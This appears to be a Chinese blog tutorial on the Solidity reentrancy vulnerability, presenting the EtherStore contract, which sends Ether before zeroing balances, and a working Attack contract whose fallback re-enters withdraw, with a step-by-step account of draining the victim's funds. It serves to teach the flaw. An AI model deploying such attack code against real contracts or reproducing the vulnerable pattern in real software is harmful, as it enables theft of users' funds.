重入漏洞EtherStore

重入漏洞

solidity 复制代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

contract EtherStore {
    mapping(address => uint) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        uint bal = balances[msg.sender];
        require(bal > 0);

        (bool sent, ) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");

        balances[msg.sender] = 0;
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

contract Attack {
    EtherStore public etherStore;

    constructor(address _etherStoreAddress) {
        etherStore = EtherStore(_etherStoreAddress);
    }

    // Fallback is called when EtherStore sends Ether to this contract.
    fallback() external payable {
        if (address(etherStore).balance >= 1 ether) {
            etherStore.withdraw();
        }
    }

    function attack() external payable {
        require(msg.value >= 1 ether);
        etherStore.deposit{value: 1 ether}();
        etherStore.withdraw();
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

这个被攻击的EtherStore合约,可以用来depositwithdraw以太币。withdraw函数的基本逻辑是:

  • 判断sender的余额是否大于0,是的话下一步;
  • 使用call方法给sender发送合约里属于sender所有的余额,成功发送的话下一步;
  • 将合约中属于sender的余额值清零。

在攻击合约Attack合约中,先看attack函数,基本逻辑就是先调用deposit存入1个以太,再调用withdraw取出。然而关键的代码在fallback函数中,这个fallback函数会先检测被攻击合约EtherStore的余额,如果大于1个以太,就执行withdraw

知道这些概念后,就可以演示攻击过程了:

  • 1.假设EtherStore合约中有10个ETH的余额;
  • 2.攻击者点击attack函数,先执行deposit于是攻击者就存入了1个ETH,接下来执行withdraw,withdraw函数前两行成功通过,开始使用call函数发送属于sender(这里是Attack合约)的余额;
  • 3.Attack合约收到余额后,根据我们上图所示,先看msg.data是否为空?是;receive是否存在?否;于是进入fallback函数;
  • 4.fallback函数中,先检测EtherStore的余额,这里应当是10 - 1 = 9 Ether,通过,于是又执行withdraw;
  • 5.withdraw函数先检测前两行,(注意,这是攻击过程的关键点!)属于sender的余额为不为0呢?答案是不为0,仍然能通过,因为上次执行withdraw函数,其实还停留在call发送Ether的那一步,下一步还没有执行,EtherStore中的balance值还没有更新,因此这里还是能通过,继续执行到下一个call发送余额,这样又把合约余额发送过去了;
  • 6.Attack合约的fallback函数又开始重复withdraw,一直等到EtherStore合约中的余额为0,Attack合约的fallback函数不能通过余额检测的时候,整个提取过程才会停止。
  • 7.执行完成,被攻击合约的所有10个ETH都被发送到了被攻击合约Attack上了。

这里的例子,Attack合约其实用receive函数也是可以的,而且合约里是可以有单独的receive函数,但是单独的fallback函数就会报warning。

相关推荐
ZDGJ609915 小时前
恒指期货的交易规则有哪些
区块链
Web3李李2 天前
短剧+Web3:破解行业获客留客难题,打造零门槛用户增长闭环
web3·去中心化·区块链·软件开发·dapp开发·web3短剧·web3项目开发
磐链科技2 天前
异构链的“翻译官”:区块链开发中跨链消息传递协议(IBC)的代码实现拆解
区块链
ZDGJ60993 天前
如何选择适合自己的恒指期货产品
区块链
水母量化3 天前
自动化开盘卖出如何适应价格笼子规则
运维·自动化·区块链·量化交易
IvorySQL3 天前
PostgreSQL 日报 |SUM-AVG 溢出检测不足(9 月 5 日)
数据库·postgresql·区块链
Richown3 天前
React 高级模式:并发渲染下的状态机驱动架构——从 Finite State Machine 到生产级实现
区块链·react
ChannelLab3 天前
BONK FAQ:关于生态、产品、社区与金融化的 24 个核心问题
金融·区块链
超级架构师4 天前
【区块链技术】区块链101:比特币是什么?
人工智能·区块链·比特币
维克兜率天4 天前
4.3.2.1 日常监控:上线只是开始
服务器·数据库·python·区块链·php·量化